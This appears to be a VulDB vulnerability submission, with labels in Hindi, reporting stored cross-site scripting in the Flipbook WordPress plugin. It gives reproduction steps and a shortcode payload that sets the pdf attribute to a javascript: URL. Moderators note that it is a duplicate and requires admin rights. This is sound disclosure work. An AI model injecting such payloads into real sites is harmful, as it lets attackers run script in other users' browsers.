| शीर्षक | Stored XSS in flipbook |
|---|
| विवरण | stored xss vulnerability in flipbook wordpress plugin with insert flipbook shortcut with javascript payload
1. install latest flipbook wordpress plugin
2. add new or edit exist posts
3. add flipbook shotcut like that [flipbook pdf= "sample.pdf"]
4. change pdf location to javascript payload like that [flipbook pdf= "javascript:alert(1)"]
POC:
https://drive.google.com/file/d/1gV1UL0P-La0Hx_4FtCpiBR-BKH8JGPPp/view?usp=sharing
https://drive.google.com/file/d/1nYGpfvr_7gGnoVnkSzmK8s99U9s_ndqC/view?usp=sharing
|
|---|
| उपयोगकर्ता | rezaduty (UID 10530) |
|---|
| सबमिशन | 01/11/2022 08:36 AM (4 साल पहले) |
|---|
| संयम | 01/11/2022 02:24 PM (6 hours later) |
|---|
| स्थिति | प्रतिलिपि |
|---|
| VulDB प्रविष्टि | 212612 [Flipbook Plugin पर WordPress Edit Post post.php Shortcode क्रॉस साइट स्क्रिप्टिंग] |
|---|
| व्याख्या | not possible without admin permissions |
|---|
| अंक | 0 |
|---|